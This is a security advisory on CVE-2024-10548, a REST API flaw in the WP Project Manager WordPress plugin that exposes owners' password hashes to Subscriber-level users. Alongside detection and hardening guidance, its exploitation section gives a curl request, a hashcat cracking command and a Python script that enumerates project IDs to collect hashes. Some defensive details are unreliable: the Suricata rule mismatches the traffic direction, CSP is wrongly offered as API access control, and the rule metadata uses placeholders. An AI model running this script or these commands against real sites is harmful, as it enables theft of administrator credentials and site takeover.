CVE-2024-10548

Executive Summary

CVE-2024-10548 is a Sensitive Information Exposure vulnerability in the WP Project Manager WordPress plugin (versions up to and including 2.6.15). The flaw resides in the /wp-json/pm/v2/projects/1/task-lists REST API endpoint, which fails to properly sanitize output, allowing authenticated attackers with Subscriber-level access or higher to extract sensitive data, including the hashed passwords of project owners (e.g., administrators). This exposure can lead to privilege escalation via offline password cracking or credential stuffing attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the exposure of hashed administrator passwords significantly elevates the real-world risk, as it can lead to full site compromise.

Deep Dive & Mechanics

The vulnerability is a classic case of Insecure Direct Object Reference (IDOR) combined with Information Disclosure. The REST API endpoint /wp-json/pm/v2/projects/1/task-lists is intended to return task lists for a given project. However, the plugin fails to restrict the fields returned in the response, inadvertently including the user_pass field (hashed password) of the project owner.

Root Cause: The plugin’s REST controller does not apply proper field filtering or permission checks on the user data associated with a project. When the endpoint serializes the project owner’s user object, it includes all user meta fields, including the password hash.

Attack Flow:

1. Attacker authenticates with Subscriber-level credentials.
2. Attacker sends a GET request to /wp-json/pm/v2/projects/1/task-lists (or iterates through project IDs).
3. The response contains the project owner’s user object, including user_pass.
4. Attacker extracts the hash and performs offline cracking (e.g., using Hashcat or John the Ripper).
5. If successful, attacker gains administrator-level access.

Vulnerable vs. Patched Code

Vulnerable Code (wp-project-manager/includes/rest-api/class-pm-rest-projects-controller.php):

// No field filtering on user data
$response_data['owner'] = $project->owner->data;

Patched Code (Hypothetical):

// Explicitly filter sensitive fields
$owner_data = $project->owner->data;
unset($owner_data['user_pass']);
$response_data['owner'] = $owner_data;

The patch should remove the user_pass field from the API response. Additionally, proper permission checks should be enforced to ensure only authorized users can access project owner details.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Project Manager <= 2.6.15
• Subscriber-level account credentials

Exploitation Steps:

1. Obtain a valid nonce or cookie for the Subscriber account.
2. Send a crafted request to the vulnerable endpoint:

   curl -k -X GET \
     'https://target.com/wp-json/pm/v2/projects/1/task-lists' \
     -H 'Cookie: wordpress_logged_in_<hash>=<session_cookie>' \
     -H 'X-WP-Nonce: <nonce>'
   

3. Parse the JSON response to extract the owner.user_pass field.
4. Crack the hash offline:

   hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
   

Automation Script (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.update({"wordpress_logged_in_xxx": "session_cookie"})
session.headers.update({"X-WP-Nonce": "nonce_value"})

for project_id in range(1, 100):
    url = f"{target}/wp-json/pm/v2/projects/{project_id}/task-lists"
    resp = session.get(url)
    if resp.status_code == 200:
        data = resp.json()
        if 'owner' in data and 'user_pass' in data['owner']:
            print(f"Project {project_id}: Hash = {data['owner']['user_pass']}")

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for unusual access patterns to /wp-json/pm/v2/projects/*/task-lists from low-privileged users.
• Alert on responses containing user_pass field in the JSON body.

Hardening:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests to the vulnerable endpoint from non-admin users.
• Disable the REST API endpoint if not needed:

  add_filter('rest_endpoints', function($endpoints) {
      if (isset($endpoints['/pm/v2/projects/(?P<id>[\d]+)/task-lists'])) {
          unset($endpoints['/pm/v2/projects/(?P<id>[\d]+)/task-lists']);
      }
      return $endpoints;
  });
  

• Upgrade the plugin as soon as a patched version is released.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/pm/v2/projects/[0-9]+/task-lists with a 200 response containing user_pass.
  • Unusual number of requests to the endpoint from a single IP within a short time frame.

• File IOCs:

  • Presence of password cracking tools (e.g., hashcat, john) on the attacker’s system.
  • Log entries showing successful authentication from a previously Subscriber-level account now acting as Administrator.

• Behavioral IOCs:

  • Subscriber accounts suddenly accessing admin-level functionality.
  • Multiple failed login attempts followed by a successful login from a cracked password.

Detection Engineering

YARA Rule

rule CVE_2024_10548_WP_Project_Manager_Info_Leak {
    meta:
        description = "Detects sensitive information exposure in WP Project Manager plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10548"
    strings:
        $json_pattern = /"user_pass":"\$P\$[A-Za-z0-9\/\.]{31}"/  // phpass hash pattern
        $endpoint = "/wp-json/pm/v2/projects/"
    condition:
        $endpoint and $json_pattern
}

Sigma Rule

title: CVE-2024-10548 - WP Project Manager Sensitive Info Leak
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts against CVE-2024-10548
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/pm/v2/projects/'
        cs-uri-stem|endswith: '/task-lists'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10548 WP Project Manager Info Leak"; flow:to_server,established; content:"GET"; http_method; content:"/wp-json/pm/v2/projects/"; http_uri; content:"/task-lists"; http_uri; pcre:"/user_pass\":\"\$P\$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint via a WAF or code snippet until a patch is available.
2. Audit user accounts for any signs of compromise (e.g., unexpected privilege escalation).
3. Force password resets for all administrator accounts.

Long-term Fix:

• Apply the official patch from the plugin vendor once released.
• Implement a Content Security Policy (CSP) to restrict API access.
• Regularly update all WordPress plugins and core.

Workaround:

• Use a custom plugin to filter the REST API response:

  add_filter('rest_prepare_user', function($response, $user, $request) {
      if (isset($response->data['user_pass'])) {
          unset($response->data['user_pass']);
      }
      return $response;
  }, 10, 3);
  

Valters IT
Securing Digital Frontiers